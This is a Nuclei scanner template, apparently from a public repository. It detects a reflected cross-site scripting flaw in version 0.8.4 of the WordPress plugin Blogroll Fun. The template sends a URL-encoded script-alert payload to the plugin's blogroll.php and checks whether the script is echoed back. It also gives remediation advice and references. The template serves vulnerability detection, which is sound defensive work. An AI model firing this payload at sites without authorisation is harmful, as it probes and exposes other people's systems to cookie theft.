nuclei-templates/vulnerabilities/wordpress/wp-blogroll-fun-xss.yaml

38 lines
1.5 KiB
YAML
Raw Normal View History

2022-08-04 16:53:16 +00:00
id: wp-blogroll-fun-xss
info:
name: WordPress Plugin Blogroll Fun-Show Last Post and Last Update Time Cross-Site Scripting (0.8.4)
author: DhiyaneshDK
severity: medium
description: |
WordPress Plugin Blogroll Fun-Show Last Post and Last Update Time is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. WordPress Plugin Blogroll Fun-Show Last Post and Last Update Time version 0.8.4 is vulnerable; prior versions may also be affected.
remediation: Update to plugin version 0.8.5 or latest
reference:
- https://codevigilant.com/disclosure/wp-plugin-blogroll-fun-a3-cross-site-scripting-xss/
- https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-blogroll-fun-show-last-post-and-last-update-time-cross-site-scripting-0-8-4/
metadata:
verified: true
tags: wordpress,wp-plugin,xss,unauth
requests:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/blogroll-fun/blogroll.php?k=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: word
words:
- 'Got: <script>alert(document.domain)</script><br>'
part: body
- type: word
words:
- 'text/html'
part: header
- type: status
status:
- 200